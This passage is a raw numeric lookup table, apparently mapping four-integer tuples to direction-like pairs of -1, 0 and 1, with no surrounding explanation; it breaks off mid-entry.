(0, 0), (8, 28, -4, 5): (-1, -1), (8, 28, -3, -5): (0, 1), (8, 28, -3, -4): (0, 1), (8, 28, -3, -3): (0, 1), (8, 28, -3, -2): (0, 1), (8, 28, -3, -1): (0, 1), (8, 28, -3, 0): (1, 1), (8, 28, -3, 1): (1, 1), (8, 28, -3, 2): (1, 0), (8, 28, -3, 3): (0, 1), (8, 28, -3, 4): (0, 0), (8, 28, -3, 5): (-1, -1), (8, 28, -2, -5): (-1, 1), (8, 28, -2, -4): (-1, 1), (8, 28, -2, -3): (-1, 1), (8, 28, -2, -2): (-1, 1), (8, 28, -2, -1): (1, 1), (8, 28, -2, 0): (1, 1), (8, 28, -2, 1): (0, 1), (8, 28, -2, 2): (0, 0), (8, 28, -2, 3): (-1, 1), (8, 28, -2, 4): (-1, 0), (8, 28, -2, 5): (-1, -1), (8, 28, -1, -5): (-1, 1), (8, 28, -1, -4): (-1, 1), (8, 28, -1, -3): (-1, 1), (8, 28, -1, -2): (1, 1), (8, 28, -1, -1): (1, 1), (8, 28, -1, 0): (0, 1), (8, 28, -1, 1): (-1, 1), (8, 28, -1, 2): (-1, 0), (8, 28, -1, 3): (-1, -1), (8, 28, -1, 4): (-1, -1), (8, 28, -1, 5): (-1, -1), (8, 28, 0, -5): (1, 1), (8, 28, 0, -4): (1, 1), (8, 28, 0, -3): (1, 1), (8, 28, 0, -2): (1, 1), (8, 28, 0, -1): (0, 1), (8, 28, 0, 0): (-1, 1), (8, 28, 0, 1): (-1, 1), (8, 28, 0, 2): (-1, 0), (8, 28, 0, 3): (-1, -1), (8, 28, 0, 4): (-1, -1), (8, 28, 0, 5): (-1, -1), (8, 28, 1, -5): (1, 1), (8, 28, 1, -4): (1, 1), (8, 28, 1, -3): (1, 1), (8, 28, 1, -2): (1, 1), (8, 28, 1, -1): (1, 1), (8, 28, 1, 0): (-1, 1), (8, 28, 1, 1): (-1, 0), (8, 28, 1, 2): (-1, -1), (8, 28, 1, 3): (-1, -1), (8, 28, 1, 4): (1, 0), (8, 28, 1, 5): (1, 0), (8, 28, 2, -5): (0, 1), (8, 28, 2, -4): (0, 1), (8, 28, 2, -3): (0, 1), (8, 28, 2, -2): (0, 1), (8, 28, 2, -1): (0, 1), (8, 28, 2, 0): (0, 1), (8, 28, 2, 1): (0, 0), (8, 28, 2, 2): (0, -1), (8, 28, 2, 3): (0, 1), (8, 28, 2, 4): (0, 1), (8, 28, 2, 5): (0, 1), (8, 28, 3, -5): (0, 1), (8, 28, 3, -4): (0, 1), (8, 28, 3, -3): (0, 1), (8, 28, 3, -2): (0, 1), (8, 28, 3, -1): (0, 1), (8, 28, 3, 0): (0, 1), (8, 28, 3, 1): (0, 0), (8, 28, 3, 2): (-1, -1), (8, 28, 3, 3): (0, 1), (8, 28, 3, 4): (0, 1), (8, 28, 3, 5): (0, 1), (8, 28, 4, -5): (0, 1), (8, 28, 4, -4): (0, 1), (8, 28, 4, -3): (0, 1), (8, 28, 4, -2): (0, 1), (8, 28, 4, -1): (0, 1), (8, 28, 4, 0): (0, 1), (8, 28, 4, 1): (0, 0), (8, 28, 4, 2): (-1, -1), (8, 28, 4, 3): (0, 1), (8, 28, 4, 4): (0, 1), (8, 28, 4, 5): (0, 1), (8, 28, 5, -5): (0, 1), (8, 28, 5, -4): (0, 1), (8, 28, 5, -3): (0, 1), (8, 28, 5, -2): (0, 1), (8, 28, 5, -1): (0, 1), (8, 28, 5, 0): (0, 1), (8, 28, 5, 1): (0, 0), (8, 28, 5, 2): (-1, -1), (8, 28, 5, 3): (0, 1), (8, 28, 5, 4): (0, 1), (8, 28, 5, 5): (0, 1), (8, 29, -5, -5): (0, 1), (8, 29, -5, -4): (0, 1), (8, 29, -5, -3): (0, 1), (8, 29, -5, -2): (0, 1), (8, 29, -5, -1): (0, 1), (8, 29, -5, 0): (0, 1), (8, 29, -5, 1): (0, 1), (8, 29, -5, 2): (0, 1), (8, 29, -5, 3): (0, 0), (8, 29, -5, 4): (-1, -1), (8, 29, -5, 5): (0, 1), (8, 29, -4, -5): (0, 1), (8, 29, -4, -4): (0, 1), (8, 29, -4, -3): (0, 1), (8, 29, -4, -2): (0, 1), (8, 29, -4, -1): (0, 1), (8, 29, -4, 0): (-1, 1), (8, 29, -4, 1): (-1, 1), (8, 29, -4, 2): (0, 1), (8, 29, -4, 3): (0, 0), (8, 29, -4, 4): (-1, -1), (8, 29, -4, 5): (0, 1), (8, 29, -3, -5): (0, 1), (8, 29, -3, -4): (0, 1), (8, 29, -3, -3): (0, 1), (8, 29, -3, -2): (0, 1), (8, 29, -3, -1): (1, 1), (8, 29, -3, 0): (1, 1), (8, 29, -3, 1): (1, 1), (8, 29, -3, 2): (-1, 1), (8, 29, -3, 3): (-1, 0), (8, 29, -3, 4): (-1, -1), (8, 29, -3, 5): (0, 1), (8, 29, -2, -5): (-1, 1), (8, 29, -2, -4): (-1, 1), (8, 29, -2, -3): (-1, 1), (8, 29, -2, -2): (-1, 1), (8, 29, -2, -1): (0, 1), (8, 29, -2, 0): (0, 1), (8, 29, -2, 1): (0, 1), (8, 29, -2, 2): (-1, 1), (8, 29, -2, 3): (-1, 0), (8, 29, -2, 4): (-1, -1), (8, 29, -2, 5): (-1, 1), (8, 29, -1, -5): (-1, 1), (8, 29, -1, -4): (-1, 1), (8, 29, -1, -3): (-1, 1), (8, 29, -1, -2): (1, 1), (8, 29, -1, -1): (-1, 1), (8, 29, -1, 0): (-1, 1), (8, 29, -1, 1): (-1, 1), (8, 29, -1, 2): (-1, 0), (8, 29, -1, 3): (-1, -1), (8, 29, -1, 4): (-1, -1), (8, 29, -1, 5): (-1, 1), (8, 29, 0, -5): (1, 1), (8, 29, 0, -4): (1, 1), (8, 29, 0, -3): (1, 1), (8, 29, 0, -2): (1, 1), (8, 29, 0, -1): (-1, 1), (8, 29, 0, 0): (-1, 1), (8, 29, 0, 1): (-1, 0), (8, 29, 0, 2): (-1, -1), (8, 29, 0, 3): (-1, -1), (8, 29, 0, 4): (-1, -1), (8, 29, 0, 5): (-1, 1), (8, 29, 1, -5): (1, 1), (8, 29, 1, -4): (1, 1), (8, 29, 1, -3): (1, 1), (8, 29, 1, -2): (1, 1), (8, 29, 1, -1): (-1, 1), (8, 29, 1, 0): (-1, 0), (8, 29, 1, 1): (-1, -1), (8, 29, 1, 2): (-1, -1), (8, 29, 1, 3): (-1, -1), (8, 29, 1, 4): (1, 0), (8, 29, 1, 5): (1, 0), (8, 29, 2, -5): (0, 1), (8, 29, 2, -4): (0, 1), (8, 29, 2, -3): (0, 1), (8, 29, 2, -2): (0, 1), (8, 29, 2, -1): (0, 1), (8, 29, 2, 0): (0, 0), (8, 29, 2, 1): (0, -1), (8, 29, 2, 2): (0, 1), (8, 29, 2, 3): (0, 1), (8, 29, 2, 4): (0, 1), (8, 29, 2, 5): (0, 1), (8, 29, 3, -5): (0, 1), (8, 29, 3, -4): (0, 1), (8, 29, 3, -3): (0, 1), (8, 29, 3, -2): (0, 1), (8, 29, 3, -1): (0, 1), (8, 29, 3, 0): (0, 0), (8, 29, 3, 1): (-1, -1), (8, 29, 3, 2): (0, 1), (8, 29, 3, 3): (0, 1), (8, 29, 3, 4): (0, 1), (8, 29, 3, 5): (0, 1), (8, 29, 4, -5): (0, 1), (8, 29, 4, -4): (0, 1), (8, 29, 4, -3): (0, 1), (8, 29, 4, -2): (0, 1), (8, 29, 4, -1): (0, 1), (8, 29, 4, 0): (0, 0), (8, 29, 4, 1): (-1, -1), (8, 29, 4, 2): (0, 1), (8, 29, 4, 3): (0, 1), (8, 29, 4, 4): (0, 1), (8, 29, 4, 5): (0, 1), (8, 29, 5, -5): (0, 1), (8, 29, 5, -4): (0, 1), (8, 29, 5, -3): (0, 1), (8, 29, 5, -2): (0, 1), (8, 29, 5, -1): (0, 1), (8, 29, 5, 0): (0, 0), (8, 29, 5, 1): (-1, -1), (8, 29, 5, 2): (0, 1), (8, 29, 5, 3): (0, 1), (8, 29, 5, 4): (0, 1), (8, 29, 5, 5): (0, 1), (8, 30, -5, -5): (0, 1), (8, 30, -5, -4): (0, 1), (8, 30, -5, -3): (0, 1), (8, 30, -5, -2): (0, 1), (8, 30, -5, -1): (0, 1), (8, 30, -5, 0): (0, 1), (8, 30, -5, 1): (0, 1), (8, 30, -5, 2): (0, 0), (8, 30, -5, 3): (-1, -1), (8, 30, -5, 4): (-1, -1), (8, 30, -5, 5): (0, 1), (8, 30, -4, -5): (0, 1), (8, 30, -4, -4): (0, 1), (8, 30, -4, -3): (0, 1), (8, 30, -4, -2): (0, 1), (8, 30, -4, -1): (-1, 1), (8, 30, -4, 0): (-1, 1), (8, 30, -4, 1): (0, 1), (8, 30, -4, 2): (0, 0), (8, 30, -4, 3): (-1, -1), (8, 30, -4, 4): (-1, -1), (8, 30, -4, 5): (0, 1), (8, 30, -3, -5): (0, 1), (8, 30, -3, -4): (0, 1), (8, 30, -3, -3): (0, 1), (8, 30, -3, -2): (0, 1), (8, 30, -3, -1): (1, 1), (8, 30, -3, 0): (1, 1), (8, 30, -3, 1): (-1, 1), (8, 30, -3, 2): (-1, 0), (8, 30, -3, 3): (-1, -1), (8, 30, -3, 4): (-1, -1), (8, 30, -3, 5): (0, 1), (8, 30, -2, -5): (-1, 1), (8, 30, -2, -4): (-1, 1), (8, 30, -2, -3): (-1, 1), (8, 30, -2, -2): (-1, 1), (8, 30, -2, -1): (1, 1), (8, 30, -2, 0): (0, 1), (8, 30, -2, 1): (-1, 1), (8, 30, -2, 2): (-1, 1), (8, 30, -2, 3): (-1, 0), (8, 30, -2, 4): (-1, -1), (8, 30, -2, 5): (-1, 1), (8, 30, -1, -5): (-1, 1), (8, 30, -1, -4): (-1, 1), (8, 30, -1, -3): (-1, 1), (8, 30, -1, -2): (1, 1), (8, 30, -1, -1): (0, 1), (8, 30, -1, 0): (-1, 1), (8, 30, -1, 1): (-1, 0), (8, 30, -1, 2): (-1, -1), (8, 30, -1, 3): (-1, -1), (8, 30, -1, 4): (-1, -1), (8, 30, -1, 5): (-1, 1), (8, 30, 0, -5): (1, 1), (8, 30, 0, -4): (1, 1), (8, 30, 0, -3): (1, 1), (8, 30, 0, -2): (0, 1), (8, 30, 0, -1): (-1, 1), (8, 30, 0, 0): (-1, 1), (8, 30, 0, 1): (-1, 0), (8, 30, 0, 2): (-1, -1), (8, 30, 0, 3): (-1, -1), (8, 30, 0, 4): (-1, -1), (8, 30, 0, 5): (-1, 1), (8, 30, 1, -5): (1, 1), (8, 30, 1, -4): (1, 1), (8, 30, 1, -3): (1, 1), (8, 30, 1, -2): (1, 1), (8, 30, 1, -1): (-1, 1), (8, 30, 1, 0): (-1, 0), (8, 30, 1, 1): (-1, -1), (8, 30, 1, 2): (-1, -1), (8, 30, 1, 3): (-1, -1), (8, 30, 1, 4): (1, 0), (8, 30, 1, 5): (1, 0), (8, 30, 2, -5): (0, 1), (8, 30, 2, -4): (0, 1), (8, 30, 2, -3): (0, 1), (8, 30, 2, -2): (0, 1), (8, 30, 2, -1): (0, 0), (8, 30, 2, 0): (0, -1), (8, 30, 2, 1): (0, 1), (8, 30, 2, 2): (0, 1), (8, 30, 2, 3): (0, 1), (8, 30, 2, 4): (0, 1), (8, 30, 2, 5): (0, 1), (8, 30, 3, -5): (0, 1), (8, 30, 3, -4): (0, 1), (8, 30, 3, -3): (0, 1), (8, 30, 3, -2): (0, 1), (8, 30, 3, -1): (0, 0), (8, 30, 3, 0): (-1, -1), (8, 30, 3, 1): (0, 1), (8, 30, 3, 2): (0, 1), (8, 30, 3, 3): (0, 1), (8, 30, 3, 4): (0, 1), (8, 30, 3, 5): (0, 1), (8, 30, 4, -5): (0, 1), (8, 30, 4, -4): (0, 1), (8, 30, 4, -3): (0, 1), (8, 30, 4, -2): (0, 1), (8, 30, 4, -1): (0, 0), (8, 30, 4, 0): (-1, -1), (8, 30, 4, 1): (0, 1), (8, 30, 4, 2): (0, 1), (8, 30, 4, 3): (0, 1), (8, 30, 4, 4): (0, 1), (8, 30, 4, 5): (0, 1), (8, 30, 5, -5): (0, 1), (8, 30, 5, -4): (0, 1), (8, 30, 5, -3): (0, 1), (8, 30, 5, -2): (0, 1), (8, 30, 5, -1): (0, 0), (8, 30, 5, 0): (-1, -1), (8, 30, 5, 1): (0, 1), (8, 30, 5, 2): (0, 1), (8, 30, 5, 3): (0, 1), (8, 30, 5, 4): (0, 1), (8, 30, 5, 5): (0, 1), (8, 31, -5, -5): (0, 1), (8, 31, -5, -4): (0, 1), (8, 31, -5, -3): (0, 1), (8, 31, -5, -2): (0, 1), (8, 31, -5, -1): (0, 1), (8, 31, -5, 0): (0, 1), (8, 31, -5, 1): (0, 1), (8, 31, -5, 2): (0, 0), (8, 31, -5, 3): (-1, -1), (8, 31, -5, 4): (0, 0), (8, 31, -5, 5): (-1, -1), (8, 31, -4, -5): (0, 1), (8, 31, -4, -4): (0, 1), (8, 31, -4, -3): (0, 1), (8, 31, -4, -2): (-1, 1), (8, 31, -4, -1): (-1, 1), (8, 31, -4, 0): (0, 1), (8, 31, -4, 1): (0, 1), (8, 31, -4, 2): (0, 0), (8, 31, -4, 3): (-1, -1), (8, 31, -4, 4): (0, 0), (8, 31, -4, 5): (-1, -1), (8, 31, -3, -5): (0, 1), (8, 31, -3, -4): (0, 1), (8, 31, -3, -3): (0, 1), (8, 31, -3, -2): (1, 1), (8, 31, -3, -1): (1, 1), (8, 31, -3, 0): (-1, 1), (8, 31, -3, 1): (-1, 1), (8, 31, -3, 2): (-1, 0), (8, 31, -3, 3): (-1, -1), (8, 31, -3, 4): (0, 0), (8, 31, -3, 5): (-1, -1), (8, 31, -2, -5): (-1, 1), (8, 31, -2, -4): (-1, 1), (8, 31, -2, -3): (-1, 1), (8, 31, -2, -2): (0, 1), (8, 31, -2, -1): (0, 1), (8, 31, -2, 0): (-1, 1), (8, 31, -2, 1): (-1, 0), (8, 31, -2, 2): (-1, -1), (8, 31, -2, 3): (-1, -1), (8, 31, -2, 4): (-1, 0), (8, 31, -2, 5): (-1, -1), (8, 31, -1, -5): (-1, 1), (8, 31, -1, -4): (-1, 1), (8, 31, -1, -3): (-1, 1), (8, 31, -1, -2): (-1, 1), (8, 31, -1, -1): (-1, 1), (8, 31, -1, 0): (-1, 1), (8, 31, -1, 1): (-1, 0), (8, 31, -1, 2): (-1, -1), (8, 31, -1, 3): (-1, -1), (8, 31, -1, 4): (-1, 0), (8, 31, -1, 5): (-1, -1), (8, 31, 0, -5): (1, 1), (8, 31, 0, -4): (1, 1), (8, 31, 0, -3): (1, 1), (8, 31, 0, -2): (0, 1), (8, 31, 0, -1): (-1, 1), (8, 31, 0, 0): (-1, 1), (8, 31, 0, 1): (-1, 0), (8, 31, 0, 2): (-1, -1), (8, 31, 0, 3): (-1, -1), (8, 31, 0, 4): (-1, 1), (8, 31, 0, 5): (-1, 1), (8, 31, 1, -5): (1, 1), (8, 31, 1, -4): (1, 1), (8, 31, 1, -3): (1, 1), (8, 31, 1, -2): (1, 0), (8, 31, 1, -1): (-1, 1), (8, 31, 1, 0): (-1, 1), (8, 31, 1, 1): (-1, 0), (8, 31, 1, 2): (-1, -1), (8, 31, 1, 3): (-1, -1), (8, 31, 1, 4): (-1, 1), (8, 31, 1, 5): (-1, 1), (8, 31, 2, -5): (0, 1), (8, 31, 2, -4): (0, 1), (8, 31, 2, -3): (0, 1), (8, 31, 2, -2): (0, 0), (8, 31, 2, -1): (0, -1), (8, 31, 2, 0): (0, 1), (8, 31, 2, 1): (0, 1), (8, 31, 2, 2): (0, 1), (8, 31, 2, 3): (0, 1), (8, 31, 2, 4): (0, 1), (8, 31, 2, 5): (0, 1), (8, 31, 3, -5): (0, 1), (8, 31, 3, -4): (0, 1), (8, 31, 3, -3): (0, 1), (8, 31, 3, -2): (0, 0), (8, 31, 3, -1): (-1, -1), (8, 31, 3, 0): (0, 1), (8, 31, 3, 1): (0, 1), (8, 31, 3, 2): (0, 1), (8, 31, 3, 3): (0, 1), (8, 31, 3, 4): (0, 1), (8, 31, 3, 5): (0, 1), (8, 31, 4, -5): (0, 1), (8, 31, 4, -4): (0, 1), (8, 31, 4, -3): (0, 1), (8, 31, 4, -2): (0, 0), (8, 31, 4, -1): (-1, -1), (8, 31, 4, 0): (0, 1), (8, 31, 4, 1): (0, 1), (8, 31, 4, 2): (0, 1), (8, 31, 4, 3): (0, 1), (8, 31, 4, 4): (0, 1), (8, 31, 4, 5): (0, 1), (8, 31, 5, -5): (0, 1), (8, 31, 5, -4): (0, 1), (8, 31, 5, -3): (0, 1), (8, 31, 5, -2): (0, 0), (8, 31, 5, -1): (-1, -1), (8, 31, 5, 0): (0, 1), (8, 31, 5, 1): (0, 1), (8, 31, 5, 2): (0, 1), (8, 31, 5, 3): (0, 1), (8, 31, 5, 4): (0, 1), (8, 31, 5, 5): (0, 1), (8, 32, -5, -5): (0, 1), (8, 32, -5, -4): (0, 1), (8, 32, -5, -3): (0, 1), (8, 32, -5, -2): (0, 1), (8, 32, -5, -1): (0, 1), (8, 32, -5, 0): (0, 1), (8, 32, -5, 1): (0, 0), (8, 32, -5, 2): (-1, -1), (8, 32, -5, 3): (-1, -1), (8, 32, -5, 4): (-1, -1), (8, 32, -5, 5): (0, 1), (8, 32, -4, -5): (0, 1), (8, 32, -4, -4): (0, 1), (8, 32, -4, -3): (-1, 1), (8, 32, -4, -2): (-1, 1), (8, 32, -4, -1): (0, 1), (8, 32, -4, 0): (0, 1), (8, 32, -4, 1): (0, 0), (8, 32, -4, 2): (-1, -1), (8, 32, -4, 3): (-1, -1), (8, 32, -4, 4): (-1, -1), (8, 32, -4, 5): (-1, 1), (8, 32, -3, -5): (0, 1), (8, 32, -3, -4): (0, 1), (8, 32, -3, -3): (0, 1), (8, 32, -3, -2): (-1, 1), (8, 32, -3, -1): (-1, 1), (8, 32, -3, 0): (-1, 1), (8, 32, -3, 1): (-1, 0), (8, 32, -3, 2): (-1, -1), (8, 32, -3, 3): (-1, -1), (8, 32, -3, 4): (-1, -1), (8, 32, -3, 5): (-1, 1), (8, 32, -2, -5): (-1, 1), (8, 32, -2, -4): (-1, 1), (8, 32, -2, -3): (-1, 1), (8, 32, -2, -2): (-1, 1), (8, 32, -2, -1): (-1, 1), (8, 32, -2, 0): (-1, 1), (8, 32, -2, 1): (-1, 0), (8, 32, -2, 2): (-1, -1), (8, 32, -2, 3): (-1, -1), (8, 32, -2, 4): (-1, -1), (8, 32, -2, 5): (-1, 1), (8, 32, -1, -5): (-1, 1), (8, 32, -1, -4): (-1, 1), (8, 32, -1, -3): (-1, 1), (8, 32, -1, -2): (-1, 1), (8, 32, -1, -1): (-1, 1), (8, 32, -1, 0): (-1, 0), (8, 32, -1, 1): (-1, -1), (8, 32, -1, 2): (-1, -1), (8, 32, -1, 3): (-1, -1), (8, 32, -1, 4): (-1, -1), (8, 32, -1, 5): (-1, 1), (8, 32, 0, -5): (1, 1), (8, 32, 0, -4): (1, 1), (8, 32, 0, -3): (1, 1), (8, 32, 0, -2): (-1, 1), (8, 32, 0, -1): (-1, 1), (8, 32, 0, 0): (-1, 0), (8, 32, 0, 1): (-1, -1), (8, 32, 0, 2): (-1, -1), (8, 32, 0, 3): (-1, -1), (8, 32, 0, 4): (-1, 1), (8, 32, 0, 5): (-1, 1), (8, 32, 1, -5): (1, 1), (8, 32, 1, -4): (1, 1), (8, 32, 1, -3): (1, 0), (8, 32, 1, -2): (-1, 1), (8, 32, 1, -1): (-1, 1), (8, 32, 1, 0): (-1, 1), (8, 32, 1, 1): (-1, 0), (8, 32, 1, 2): (-1, -1), (8, 32, 1, 3): (-1, 1), (8, 32, 1, 4): (-1, 1), (8, 32, 1, 5): (-1, 1), (8, 32, 2, -5): (0, 1), (8, 32, 2, -4): (0, 1), (8, 32, 2, -3): (0, 0), (8, 32, 2, -2): (0, -1), (8, 32, 2, -1): (0, 1), (8, 32, 2, 0): (0, 1), (8, 32, 2, 1): (0, 1), (8, 32, 2, 2): (0, 1), (8, 32, 2, 3): (0, 1), (8, 32, 2, 4): (0, 1), (8, 32, 2, 5): (0, 1), (8, 32, 3, -5): (0, 1), (8, 32, 3, -4): (0, 1), (8, 32, 3, -3): (0, 0), (8, 32, 3, -2): (-1, -1), (8, 32, 3, -1): (0, 1), (8, 32, 3, 0): (0, 1), (8, 32, 3, 1): (0, 1), (8, 32, 3, 2): (0, 1), (8, 32, 3, 3): (0, 1), (8, 32, 3, 4): (0, 1), (8, 32, 3, 5): (0, 1), (8, 32, 4, -5): (0, 1), (8, 32, 4, -4): (0, 1), (8, 32, 4, -3): (0, 0), (8, 32, 4, -2): (-1, -1), (8, 32, 4, -1): (0, 1), (8, 32, 4, 0): (0, 1), (8, 32, 4, 1): (0, 1), (8, 32, 4, 2): (0, 1), (8, 32, 4, 3): (0, 1), (8, 32, 4, 4): (0, 1), (8, 32, 4, 5): (0, 1), (8, 32, 5, -5): (0, 1), (8, 32, 5, -4): (0, 1), (8, 32, 5, -3): (0, 0), (8, 32, 5, -2): (-1, -1), (8, 32, 5, -1): (0, 1), (8, 32, 5, 0): (0, 1), (8, 32, 5, 1): (0, 1), (8, 32, 5, 2): (0, 1), (8, 32, 5, 3): (0, 1), (8, 32, 5, 4): (0, 1), (8, 32, 5, 5): (0, 1), (8, 33, -5, -5): (0, 1), (8, 33, -5, -4): (0, 1), (8, 33, -5, -3): (0, 1), (8, 33, -5, -2): (0, 1), (8, 33, -5, -1): (0, 1), (8, 33, -5, 0): (0, 1), (8, 33, -5, 1): (0, 0), (8, 33, -5, 2): (-1, -1), (8, 33, -5, 3): (-1, -1), (8, 33, -5, 4): (0, 1), (8, 33, -5, 5): (0, 1), (8, 33, -4, -5): (0, 1), (8, 33, -4, -4): (-1, 1), (8, 33, -4, -3): (-1, 1), (8, 33, -4, -2): (0, 1), (8, 33, -4, -1): (0, 1), (8, 33, -4, 0): (0, 1), (8, 33, -4, 1): (0, 0), (8, 33, -4, 2): (-1, -1), (8, 33, -4, 3): (-1, -1), (8, 33, -4, 4): (-1, 1), (8, 33, -4, 5): (-1, 1), (8, 33, -3, -5): (0, 1), (8, 33, -3, -4): (0, 1), (8, 33, -3, -3): (-1, 1), (8, 33, -3, -2): (0, 1), (8, 33, -3, -1): (-1, 1), (8, 33, -3, 0): (-1, 1), (8, 33, -3, 1): (-1, 0), (8, 33, -3, 2): (-1, -1), (8, 33, -3, 3): (-1, -1), (8, 33, -3, 4): (-1, 1), (8, 33, -3, 5): (-1, 1), (8, 33, -2, -5): (-1, 1), (8, 33, -2, -4): (-1, 1), (8, 33, -2, -3): (-1, 1), (8, 33, -2, -2): (-1, 1), (8, 33, -2, -1): (-1, 1), (8, 33, -2, 0): (-1, 0), (8, 33, -2, 1): (-1, -1), (8, 33, -2, 2): (-1, -1), (8, 33, -2, 3): (-1, -1), (8, 33, -2, 4): (-1, 1), (8, 33, -2, 5): (-1, 1), (8, 33, -1, -5): (-1, 1), (8, 33, -1, -4): (-1, 1), (8, 33, -1, -3): (-1, 1), (8, 33, -1, -2): (-1, 1), (8, 33, -1, -1): (-1, 1), (8, 33, -1, 0): (-1, 0), (8, 33, -1, 1): (-1, -1), (8, 33, -1, 2): (-1, -1), (8, 33, -1, 3): (-1, -1), (8, 33, -1, 4): (-1, 1), (8, 33, -1, 5): (-1, 1), (8, 33, 0, -5): (1, 1), (8, 33, 0, -4): (1, 1), (8, 33, 0, -3): (1, 1), (8, 33, 0, -2): (-1, 1), (8, 33, 0, -1): (-1, 1), (8, 33, 0, 0): (-1, 0), (8, 33, 0, 1): (-1, -1), (8, 33, 0, 2): (-1, -1), (8, 33, 0, 3): (-1, 1), (8, 33, 0, 4): (-1, 1), (8, 33, 0, 5): (-1, 1), (8, 33, 1, -5): (1, 1), (8, 33, 1, -4): (1, 0), (8, 33, 1, -3): (1, -1), (8, 33, 1, -2): (-1, 1), (8, 33, 1, -1): (-1, 1), (8, 33, 1, 0): (-1, 1), (8, 33, 1, 1): (-1, 0), (8, 33, 1, 2): (-1, 1), (8, 33, 1, 3): (-1, 1), (8, 33, 1, 4): (-1, 1), (8, 33, 1, 5): (-1, 1), (8, 33, 2, -5): (0, 1), (8, 33, 2, -4): (0, 0), (8, 33, 2, -3): (0, -1), (8, 33, 2, -2): (0, 1), (8, 33, 2, -1): (0, 1), (8, 33, 2, 0): (0, 1), (8, 33, 2, 1): (0, 1), (8, 33, 2, 2): (0, 1), (8, 33, 2, 3): (0, 1), (8, 33, 2, 4): (0, 1), (8, 33, 2, 5): (0, 1), (8, 33, 3, -5): (0, 1), (8, 33, 3, -4): (0, 0), (8, 33, 3, -3): (-1, -1), (8, 33, 3, -2): (0, 1), (8, 33, 3, -1): (0, 1), (8, 33, 3, 0): (0, 1), (8, 33, 3, 1): (0, 1), (8, 33, 3, 2): (0, 1), (8, 33, 3, 3): (0, 1), (8, 33, 3, 4): (0, 1), (8, 33, 3, 5): (0, 1), (8, 33, 4, -5): (0, 1), (8, 33, 4, -4): (0, 0), (8, 33, 4, -3): (-1, -1), (8, 33, 4, -2): (0, 1), (8, 33, 4, -1): (0, 1), (8, 33, 4, 0): (0, 1), (8, 33, 4, 1): (0, 1), (8, 33, 4, 2): (0, 1), (8, 33, 4, 3): (0, 1), (8, 33, 4, 4): (0, 1), (8, 33, 4, 5): (0, 1), (8, 33, 5, -5): (0, 1), (8, 33, 5, -4): (0, 0), (8, 33, 5, -3): (-1, -1), (8, 33, 5, -2): (0, 1), (8, 33, 5, -1): (0, 1), (8, 33, 5, 0): (0, 1), (8, 33, 5, 1): (0, 1), (8, 33, 5, 2): (0, 1), (8, 33, 5, 3): (0, 1), (8, 33, 5, 4): (0, 1), (8, 33, 5, 5): (0, 1), (8, 34, -5, -5): (0, 1), (8, 34, -5, -4): (0, 1), (8, 34, -5, -3): (0, 1), (8, 34, -5, -2): (0, 1), (8, 34, -5, -1): (0, 1), (8, 34, -5, 0): (0, 0), (8, 34, -5, 1): (-1, -1), (8, 34, -5, 2): (-1, -1), (8, 34, -5, 3): (0, 1), (8, 34, -5, 4): (0, 1), (8, 34, -5, 5): (0, 1), (8, 34, -4, -5): (-1, 1), (8, 34, -4, -4): (-1, 1), (8, 34, -4, -3): (0, 1), (8, 34, -4, -2): (0, 1), (8, 34, -4, -1): (0, 1), (8, 34, -4, 0): (0, 0), (8, 34, -4, 1): (-1, -1), (8, 34, -4, 2): (-1, -1), (8, 34, -4, 3): (-1, 1), (8, 34, -4, 4): (-1, 1), (8, 34, -4, 5): (-1, 1), (8, 34, -3, -5): (0, 1), (8, 34, -3, -4): (-1, 1), (8, 34, -3, -3): (0, 1), (8, 34, -3, -2): (-1, 1), (8, 34, -3, -1): (-1, 1), (8, 34, -3, 0): (-1, 0), (8, 34, -3, 1): (-1, -1), (8, 34, -3, 2): (-1, -1), (8, 34, -3, 3): (-1, 1), (8, 34, -3, 4): (-1, 1), (8, 34, -3, 5): (-1, 1), (8, 34, -2, -5): (-1, 1), (8, 34, -2, -4): (-1, 1), (8, 34, -2, -3): (-1, 1), (8, 34, -2, -2): (-1, 1), (8, 34, -2, -1): (-1, 1), (8, 34, -2, 0): (-1, 0), (8, 34, -2, 1): (-1, -1), (8, 34, -2, 2): (-1, -1), (8, 34, -2, 3): (-1, 1), (8, 34, -2, 4): (-1, 1), (8, 34, -2, 5): (-1, 1), (8, 34, -1, -5): (-1, 1), (8, 34, -1, -4): (-1, 1), (8, 34, -1, -3): (-1, 1), (8, 34, -1, -2): (-1, 1), (8, 34, -1, -1): (-1, 1), (8, 34, -1, 0): (-1, 0), (8, 34, -1, 1): (-1, -1), (8, 34, -1, 2): (-1, -1), (8, 34, -1, 3): (-1, 1), (8, 34, -1, 4): (-1, 1), (8, 34, -1, 5): (-1, 1), (8, 34, 0, -5): (1, 1), (8, 34, 0, -4): (1, 1), (8, 34, 0, -3): (-1, 1), (8, 34, 0, -2): (-1, 1), (8, 34, 0, -1): (-1, 1), (8, 34, 0, 0): (-1, 0), (8, 34, 0, 1): (-1, -1), (8, 34, 0, 2): (-1, -1), (8, 34, 0, 3): (-1, 1), (8, 34, 0, 4): (-1, 1), (8, 34, 0, 5): (-1, 1), (8, 34, 1, -5): (1, 0), (8, 34, 1, -4): (1, -1), (8, 34, 1, -3): (1, 1), (8, 34, 1, -2): (-1, 1), (8, 34, 1, -1): (-1, 1), (8, 34, 1, 0): (-1, 1), (8, 34, 1, 1): (-1, 1), (8, 34, 1, 2): (-1, 1), (8, 34, 1, 3): (-1, 1), (8, 34, 1, 4): (-1, 1), (8, 34, 1, 5): (-1, 1), (8, 34, 2, -5): (0, 0), (8, 34, 2, -4): (0, -1), (8, 34, 2, -3): (0, 1), (8, 34, 2, -2): (0, 1), (8, 34, 2, -1): (0, 1), (8, 34, 2, 0): (0, 1), (8, 34, 2, 1): (0, 1), (8, 34, 2, 2): (0, 1), (8, 34, 2, 3): (0, 1), (8, 34, 2, 4): (0, 1), (8, 34, 2, 5): (0, 1), (8, 34, 3, -5): (0, 0), (8, 34, 3, -4): (-1, -1), (8, 34, 3, -3): (0, 1), (8, 34, 3, -2): (0, 1), (8, 34, 3, -1): (0, 1), (8, 34, 3, 0): (0, 1), (8, 34, 3, 1): (0, 1), (8, 34, 3, 2): (0, 1), (8, 34, 3, 3): (0, 1), (8, 34, 3, 4): (0, 1), (8, 34, 3, 5): (0, 1), (8, 34, 4, -5): (0, 0), (8, 34, 4, -4): (-1, -1), (8, 34, 4, -3): (0, 1), (8, 34, 4, -2): (0, 1), (8, 34, 4, -1): (0, 1), (8, 34, 4, 0): (0, 1), (8, 34, 4, 1): (0, 1), (8, 34, 4, 2): (0, 1), (8, 34, 4, 3): (0, 1), (8, 34, 4, 4): (0, 1), (8, 34, 